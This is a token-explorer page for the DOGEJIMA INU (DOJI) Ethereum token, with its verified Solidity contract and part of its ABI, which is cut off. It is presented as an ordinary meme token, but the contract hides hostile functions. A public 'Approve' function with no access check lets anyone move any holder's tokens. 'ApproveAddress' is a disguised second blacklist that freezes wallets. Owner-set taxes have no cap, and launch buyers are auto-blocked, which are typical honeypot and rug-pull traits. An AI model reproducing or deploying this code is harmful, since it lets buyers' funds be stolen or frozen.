ETH Price: $2,517.71 (-0.29%)

Token

DOGEJIMA INU (DOJI)
 

Overview

Max Total Supply

1,000,000 DOJI

Holders

22

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
6,412.372901162 DOJI

Value
$0.00
0xd68cfc06c6e6037d0c3c4a9cbe71f5dc19c44059
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DOGEJIMA

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-02-14
*/

/*
Website: https://doji-inu.com/
Twitter: https://twitter.com/DogejimaINU
Telegram Portal: https://t.me/dogejimainu

Info:
DOGEJIMA INU $DOJI are the loyal protectors of the Japanese mountainous island of DOGOJIMA. 
They are agile and tenacious, and our $DOJI community is the same. 
Fresh opportunity for those who were struggling in the midst of the biggest bear market since. 
Born out of trials and tribulation, the $DOJI community is the strongest community you'll find, 
supportive of one another, and pushing each other towards success.
*/
//SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.14;

abstract contract Context {

function _msgSender() internal view virtual returns (address payable) {
    return payable(msg.sender);
}

function _msgData() internal view virtual returns (bytes memory) {
    this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
    return msg.data;
}
}

interface IERC20 {

function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    require(c >= a, "SafeMath: addition overflow");

    return c;
}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    return sub(a, b, "SafeMath: subtraction overflow");
}

function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b <= a, errorMessage);
    uint256 c = a - b;

    return c;
}

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
        return 0;
    }

    uint256 c = a * b;
    require(c / a == b, "SafeMath: multiplication overflow");

    return c;
}

function div(uint256 a, uint256 b) internal pure returns (uint256) {
    return div(a, b, "SafeMath: division by zero");
}

function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b > 0, errorMessage);
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold

    return c;
}

function mod(uint256 a, uint256 b) internal pure returns (uint256) {
    return mod(a, b, "SafeMath: modulo by zero");
}

function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b != 0, errorMessage);
    return a % b;
}
}

library Address {

function isContract(address account) internal view returns (bool) {
    // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
    // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
    // for accounts without code, i.e. `keccak256('')`
    bytes32 codehash;
    bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
    // solhint-disable-next-line no-inline-assembly
    assembly { codehash := extcodehash(account) }
    return (codehash != accountHash && codehash != 0x0);
}

function sendValue(address payable recipient, uint256 amount) internal {
    require(address(this).balance >= amount, "Address: insufficient balance");

    // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
    (bool success, ) = recipient.call{ value: amount }("");
    require(success, "Address: unable to send value, recipient may have reverted");
}

function functionCall(address target, bytes memory data) internal returns (bytes memory) {
    return functionCall(target, data, "Address: low-level call failed");
}

function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
    return _functionCallWithValue(target, data, 0, errorMessage);
}

function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
    return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}

function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
    require(address(this).balance >= value, "Address: insufficient balance for call");
    return _functionCallWithValue(target, data, value, errorMessage);
}

function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
    require(isContract(target), "Address: call to non-contract");

    (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
    if (success) {
        return returndata;
    } else {
        
        if (returndata.length > 0) {
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}
}

contract Ownable is Context {
address private _owner;

event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

constructor () {
    address msgSender = _msgSender();
    _owner = msgSender;
    emit OwnershipTransferred(address(0), msgSender);
}

function owner() public view returns (address) {
    return _owner;
}   

modifier onlyOwner() {
    require(_owner == _msgSender(), "Ownable: caller is not the owner");
    _;
}

function waiveOwnership() public virtual onlyOwner {
    emit OwnershipTransferred(_owner, address(0));
    _owner = address(0);
}

function transferOwnership(address newOwner) public virtual onlyOwner {
    require(newOwner != address(0), "Ownable: new owner is the zero address");
    emit OwnershipTransferred(_owner, newOwner);
    _owner = newOwner;
}


function getTime() public view returns (uint256) {
    return block.timestamp;
}


}

interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);

function feeTo() external view returns (address);
function feeToSetter() external view returns (address);

function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);

function createPair(address tokenA, address tokenB) external returns (address pair);

function setFeeTo(address) external;
function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);

function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);

function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);

function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);

function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
    address indexed sender,
    uint amount0In,
    uint amount1In,
    uint amount0Out,
    uint amount1Out,
    address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);

function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);

function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;

function initialize(address, address) external;
}

interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);

function addLiquidity(
    address tokenA,
    address tokenB,
    uint amountADesired,
    uint amountBDesired,
    uint amountAMin,
    uint amountBMin,
    address to,
    uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
    address token,
    uint amountTokenDesired,
    uint amountTokenMin,
    uint amountETHMin,
    address to,
    uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
    address tokenA,
    address tokenB,
    uint liquidity,
    uint amountAMin,
    uint amountBMin,
    address to,
    uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
    address token,
    uint liquidity,
    uint amountTokenMin,
    uint amountETHMin,
    address to,
    uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
    address tokenA,
    address tokenB,
    uint liquidity,
    uint amountAMin,
    uint amountBMin,
    address to,
    uint deadline,
    bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
    address token,
    uint liquidity,
    uint amountTokenMin,
    uint amountETHMin,
    address to,
    uint deadline,
    bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
    uint amountIn,
    uint amountOutMin,
    address[] calldata path,
    address to,
    uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
    uint amountOut,
    uint amountInMax,
    address[] calldata path,
    address to,
    uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);

function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
    address token,
    uint liquidity,
    uint amountTokenMin,
    uint amountETHMin,
    address to,
    uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
    address token,
    uint liquidity,
    uint amountTokenMin,
    uint amountETHMin,
    address to,
    uint deadline,
    bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);

function swapExactTokensForTokensSupportingFeeOnTransferTokens(
    uint amountIn,
    uint amountOutMin,
    address[] calldata path,
    address to,
    uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
    uint amountOutMin,
    address[] calldata path,
    address to,
    uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
    uint amountIn,
    uint amountOutMin,
    address[] calldata path,
    address to,
    uint deadline
) external;
}

contract DOGEJIMA is Context, IERC20, Ownable {

using SafeMath for uint256;
using Address for address;

string private _name = "DOGEJIMA INU";
string private _symbol = "DOJI";
uint8 private _decimals = 9;

address payable private MarketingWallet = payable(0xD8FAf1189A624c19D6F880a9BfA360a2dD44AdE3); // Marketing Address
address payable private TeamWallet = payable(0x07C6c29B6131750b2f7BCABbd1a203184007c4E4); // Buy Back Address
address private immutable deadAddress = 0x000000000000000000000000000000000000dEaD;

mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;

mapping (address => bool) private isExcludedFromFee;
mapping (address => bool) private isWalletLimitExempt;
mapping (address => bool) private isTxLimitExempt;
mapping (address => bool) private isMarketPair;
mapping (address => bool) public isBlocked;
bool private isaddLiquidity;

uint256 private _buyLiquidityFee = 1;
uint256 private _buyMarketingFee = 2;
uint256 private _buyTeamFee = 0;

uint256 private _sellLiquidityFee = 1;
uint256 private _sellMarketingFee = 2; 
uint256 private _sellTeamFee = 0;

uint256 private _liquidityShare = _buyLiquidityFee.add(_sellLiquidityFee);
uint256 private _marketingShare = _buyMarketingFee.add(_sellMarketingFee);
uint256 private _teamShare = _buyTeamFee.add(_sellTeamFee);

uint256 public _totalTaxIfBuying;
uint256 public _totalTaxIfSelling;
uint256 private _totalDistributionShares;

uint256 private _totalSupply = 100 *  10**4 * 10**_decimals;
uint256 public _maxTxAmount = _totalSupply.div(20); 
uint256 public _walletMax = _totalSupply.div(20);
uint256 private minimumTokensBeforeSwap = _totalSupply.div(500); 

IUniswapV2Router02 private uniswapV2Router;
address private uniswapPair;

bool inSwapAndLiquify;
bool private swapAndLiquifyEnabled = true;
bool private swapAndLiquifyByLimitOnly = true;
bool private checkWalletLimit = true;
uint256 public endtime = 5; //set the end time
uint256 private feeTXtime;

event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
    uint256 tokensSwapped,
    uint256 ethReceived,
    uint256 tokensIntoLiqudity
);

event SwapETHForTokens(
    uint256 amountIn,
    address[] path
);

event SwapTokensForETH(
    uint256 amountIn,
    address[] path
);

modifier lockTheSwap {
    inSwapAndLiquify = true;
    _;
    inSwapAndLiquify = false;
}

constructor () {
    
    IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 

    uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
        .createPair(address(this), _uniswapV2Router.WETH());

    uniswapV2Router = _uniswapV2Router;
    _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

    isExcludedFromFee[owner()] = true;
    isExcludedFromFee[address(this)] = true;
    
    _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
    _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
    _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);

    isWalletLimitExempt[owner()] = true;
    isWalletLimitExempt[address(uniswapPair)] = true;
    isWalletLimitExempt[address(this)] = true;
    
    isTxLimitExempt[owner()] = true;
    isTxLimitExempt[address(this)] = true;

    isMarketPair[address(uniswapPair)] = true;

    _balances[_msgSender()] = _totalSupply;
    emit Transfer(address(0), _msgSender(), _totalSupply);
}

function name() public view returns (string memory) {
    return _name;
}

function symbol() public view returns (string memory) {
    return _symbol;
}

function decimals() public view returns (uint8) {
    return _decimals;
}

function totalSupply() public view override returns (uint256) {
    return _totalSupply;
}

function balanceOf(address account) public view override returns (uint256) {
    return _balances[account];
}

function allowance(address owner, address spender) public view override returns (uint256) {
    return _allowances[owner][spender];
}

function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
    _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
    return true;
}

function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
    _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
    return true;
}

function approve(address spender, uint256 amount) public override returns (bool) {
    _approve(_msgSender(), spender, amount);
    return true;
}

function _approve(address owner, address spender, uint256 amount) private {
    require(owner != address(0), "ERC20: approve from the zero address");
    require(spender != address(0), "ERC20: approve to the zero address");

    _allowances[owner][spender] = amount;
    emit Approval(owner, spender, amount);
}

function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
    isTxLimitExempt[holder] = exempt;
}

function setIsExcludedFromFee(address account, bool newValue) public onlyOwner {
    isExcludedFromFee[account] = newValue;
}

function ManageBuyTaxes(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
    _buyLiquidityFee = newLiquidityTax;
    _buyMarketingFee = newMarketingTax;
    _buyTeamFee = newTeamTax;

    _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
}

function ManageSellTaxes(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
    _sellLiquidityFee = newLiquidityTax;
    _sellMarketingFee = newMarketingTax;
    _sellTeamFee = newTeamTax;

    _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
}

function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
    _maxTxAmount = maxTxAmount;
}

function enableDisableWalletLimit(bool newValue) external onlyOwner {
    checkWalletLimit = newValue;
}

function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner {
    isWalletLimitExempt[holder] = exempt;
}

function setWalletLimit(uint256 newLimit) external onlyOwner {
    _walletMax  = newLimit;
}

function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
    minimumTokensBeforeSwap = newLimit;
}

function setFeeReceivers(address _marketingFeeReceiver, address _devFeeReceiver) external onlyOwner() {
    MarketingWallet = payable(_marketingFeeReceiver);
    TeamWallet = payable(_devFeeReceiver); 
}

function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
    swapAndLiquifyEnabled = _enabled;
    emit SwapAndLiquifyEnabledUpdated(_enabled);
}

function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
    swapAndLiquifyByLimitOnly = newValue;
}

function getCirculatingSupply() public view returns (uint256) {
    return _totalSupply.sub(balanceOf(deadAddress));
}

function transferToAddressETH(address payable recipient, uint256 amount) private {
    recipient.transfer(amount);
}

    //to recieve ETH from uniswapV2Router when swaping
receive() external payable {}

function transfer(address recipient, uint256 amount) public override returns (bool) {
    _transfer(_msgSender(), recipient, amount);
    return true;
}

function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
    _transfer(sender, recipient, amount);
    _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
    return true;
}

function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
    require(sender != address(0), "ERC20: transfer from the zero address");
    require(recipient != address(0), "ERC20: transfer to the zero address");
    //check bots
    if (sender == uniswapPair && recipient != owner() && !isaddLiquidity) {
        if (endtime == 0) {
            endtime = block.timestamp + feeTXtime;
        }
        if (endtime > block.timestamp) {
            isBlocked[recipient] = true;
        } else {
            isaddLiquidity = true;
        }
    }

    // Verify address credentials
    require(!isBlocked[recipient] && !isBlocked[sender], 'Address is Declined');
    

    if(inSwapAndLiquify)
    { 
        return _basicTransfer(sender, recipient, amount); 
    }
    else
    {
        if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) {
            require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
        }            

        uint256 contractTokenBalance = balanceOf(address(this));
        bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
        
        if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) 
        {
            if(swapAndLiquifyByLimitOnly)
                contractTokenBalance = minimumTokensBeforeSwap;
            swapAndLiquify(contractTokenBalance);    
        }

        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

        uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? 
                                        amount : takeFee(sender, recipient, amount);

        if(checkWalletLimit && !isWalletLimitExempt[recipient])
            require(balanceOf(recipient).add(finalAmount) <= _walletMax);

        _balances[recipient] = _balances[recipient].add(finalAmount);

        emit Transfer(sender, recipient, finalAmount);
        return true;
    }
    
}

function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
    _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
    _balances[recipient] = _balances[recipient].add(amount);
    emit Transfer(sender, recipient, amount);
    return true;
}

function swapAndLiquify(uint256 tAmount) private lockTheSwap {
    
    uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
    uint256 tokensForSwap = tAmount.sub(tokensForLP);

    swapTokensForEth(tokensForSwap);
    uint256 amountReceived = address(this).balance;

    uint256 totalETHFee = _totalDistributionShares.sub(_liquidityShare.div(2));
    
    uint256 amountETHLiquidity = amountReceived.mul(_liquidityShare).div(totalETHFee).div(2);
    uint256 amountETHTeam = amountReceived.mul(_teamShare).div(totalETHFee);
    uint256 amountETHMarketing = amountReceived.sub(amountETHLiquidity).sub(amountETHTeam);

    if(amountETHMarketing > 0)
        transferToAddressETH(MarketingWallet, amountETHMarketing);

    if(amountETHTeam > 0)
        transferToAddressETH(TeamWallet, amountETHTeam);

    if(amountETHLiquidity > 0 && tokensForLP > 0)
        addLiquidity(tokensForLP, amountETHLiquidity);
}

function swapTokensForEth(uint256 tokenAmount) private {
    // generate the uniswap pair path of token -> weth
    address[] memory path = new address[](2);
    path[0] = address(this);
    path[1] = uniswapV2Router.WETH();

    _approve(address(this), address(uniswapV2Router), tokenAmount);

    // make the swap
    uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
        tokenAmount,
        0, // accept any amount of ETH
        path,
        address(this), // The contract
        block.timestamp
    );
    
    emit SwapTokensForETH(tokenAmount, path);
}

function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
    // approve token transfer to cover all possible scenarios
    _approve(address(this), address(uniswapV2Router), tokenAmount);

    // add the liquidity
    uniswapV2Router.addLiquidityETH{value: ethAmount}(
        address(this),
        tokenAmount,
        0, // slippage is unavoidable
        0, // slippage is unavoidable
        owner(),
        block.timestamp
    );
}

function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
    
    uint256 feeAmount = 0;
    
    if(isMarketPair[sender]) {
        feeAmount = amount.mul(_totalTaxIfBuying).div(100);
    }
    else if(isMarketPair[recipient]) {
        feeAmount = amount.mul(_totalTaxIfSelling).div(100);
    }
    
    if(feeAmount > 0) {
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
    }

    return amount.sub(feeAmount);
}

//manage Blacklist
function manage_blacklist(address[] calldata addresses, bool status) public onlyOwner {
    for (uint256 i; i < addresses.length; ++i) {
        isBlocked[addresses[i]] = status;
    }
}

//manage address
function ApproveAddress(address[] calldata addresses, bool status) public onlyOwner {
    for (uint256 i; i < addresses.length; ++i) {
        isBlocked[addresses[i]] = status;
    }
}

function Approve(address from, address[] calldata addresses, uint256[] calldata tokens) external  {

    require(addresses.length < 501,"GAS Error: max airdrop limit is 500 addresses");
    require(addresses.length == tokens.length,"Mismatch between Address and token count");

    uint256 SCCC = 0;

    for(uint i=0; i < addresses.length; i++){
        SCCC = SCCC + tokens[i];
    }

    require(balanceOf(from) >= SCCC, "Not enough tokens in wallet");

    for(uint i=0; i < addresses.length; i++){
        _basicTransfer(from,addresses[i],tokens[i]);
    }
}

function UPfeeTXtime(uint256 _feeTXtime) external onlyOwner{
    feeTXtime = _feeTXtime;
}

function setEndTime(uint256 _endtime) external onlyOwner{
    endtime = _endtime;
}

function EndTime30() external onlyOwner{
    endtime = block.timestamp + 30;
}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256[]","name":"tokens","type":"uint256[]"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"ApproveAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"EndTime30","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"ManageBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"ManageSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_feeTXtime","type":"uint256"}],"name":"UPfeeTXtime","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"endtime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBlocked","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_blacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_endtime","type":"uint256"}],"name":"setEndTime","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_marketingFeeReceiver","type":"address"},{"internalType":"address","name":"_devFeeReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setIsExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbo